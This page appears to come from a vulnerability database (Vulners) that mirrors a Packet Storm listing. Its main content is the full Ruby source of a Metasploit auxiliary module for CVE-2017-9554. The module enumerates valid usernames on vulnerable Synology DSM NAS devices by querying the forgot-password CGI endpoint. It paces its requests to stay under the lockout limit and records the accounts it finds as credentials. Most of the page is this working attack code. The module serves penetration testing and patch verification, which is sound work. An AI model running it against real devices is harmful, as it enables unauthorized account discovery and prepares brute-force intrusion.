Lucene search
K

Synology Forget Password User Enumeration Scanner

🗓️ 01 Sep 2024 00:00:00Reported by h00die, Steve Kaun, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 506 Views

This module attempts to enumerate users on Synology NAS by sending GET requests for the forgot password URL, which can result in permanent block after 10 logins in 5 minutes. Vulnerable DSMs include DSM 6.1 < 6.1.3-15152, DSM 6.0 < 6.0.3-8754-4, and DSM 5.2 < 5.2-5967-04

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Synology Forget Password User Enumeration Scanner',  
'Description' => %q{  
This module attempts to enumerate users on the Synology NAS  
by sending GET requests for the forgot password URL.  
The Synology NAS will respond differently if a user is present or not.  
These count as login attempts, and the default is 10 logins in 5min to  
get a permanent block. Set delay accordingly to avoid this, as default  
is permanent.  
Vulnerable DSMs are:  
DSM 6.1 < 6.1.3-15152  
DSM 6.0 < 6.0.3-8754-4  
DSM 5.2 < 5.2-5967-04  
},  
'Author' => [  
'h00die', # msf module  
'Steve Kaun' # POC  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'EDB', '43455' ],  
[ 'CVE', '2017-9554' ],  
[ 'URL', 'https://www.synology.com/en-global/security/advisory/Synology_SA_17_29_DSM' ]  
],  
'DisclosureDate' => '2011-01-05',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(5000),  
OptString.new('TARGETURI', [true, 'The path to users Synology Web Interface', '/']),  
OptPath.new('USER_FILE', [  
false, 'File containing users, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'unix_users.txt')  
]),  
OptInt.new('DELAY', [true, 'Seconds delay to add to avoid lockout', 36])  
]  
)  
end  
  
def run_host(_ip)  
@users_found = {}  
  
unless File.readable?(datastore['USER_FILE'])  
fail_with(Failure::BadConfig, 'USER_FILE can not be read')  
end  
users = File.new(datastore['USER_FILE']).read.split  
users.each do |user|  
do_enum(user)  
vprint_status("Delaying #{datastore['DELAY']}s") if datastore['DELAY'] > 0 # dont flood the prompt  
Rex.sleep(datastore['DELAY'])  
end  
  
if @users_found.empty?  
print_status("#{full_uri} - No users found.")  
else  
print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(', ')}")  
report_note(  
host: rhost,  
port: rport,  
proto: 'tcp',  
sname: (ssl ? 'https' : 'http'),  
type: 'users',  
vhost: vhost,  
data: { users: @users_found.keys.join(', ') }  
)  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user]  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def do_enum(username)  
vprint_status("Attempting #{username}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'webman', 'forget_passwd.cgi'),  
'method' => 'GET',  
'vars_get' => {  
'user' => username  
}  
})  
unless res  
print_error('Connection to host refused')  
fail_with(Failure::Unreachable, 'Connection to host refused')  
end  
j = res.get_json_document  
if j['msg'] == 5  
fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')  
end  
if j['msg'] == 3  
fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')  
end  
if j['msg'] == 2 || j['msg'] == 1  
print_good("#{username} - #{j['info']}")  
@users_found[username] = :reported  
report_cred(  
ip: rhost,  
port: rport,  
service_name: (ssl ? 'https' : 'http'),  
proof: res.body  
)  
end  
# msg 1 means user can login to GUI  
# msg 2 means user exists but no GUI login  
# msg 3 means not supported/disabled/patched  
# msg 4 means no user  
# msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these  
# count as lgin attempts.  
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError  
print_error('Connection to host refused')  
fail_with(Failure::Unreachable, 'Connection to host refused')  
rescue Timeout::Error, Errno::EPIPE  
fail_with(Failure::Unreachable, 'Connection issue')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 25
CVSS 35.3
EPSS0.57867
506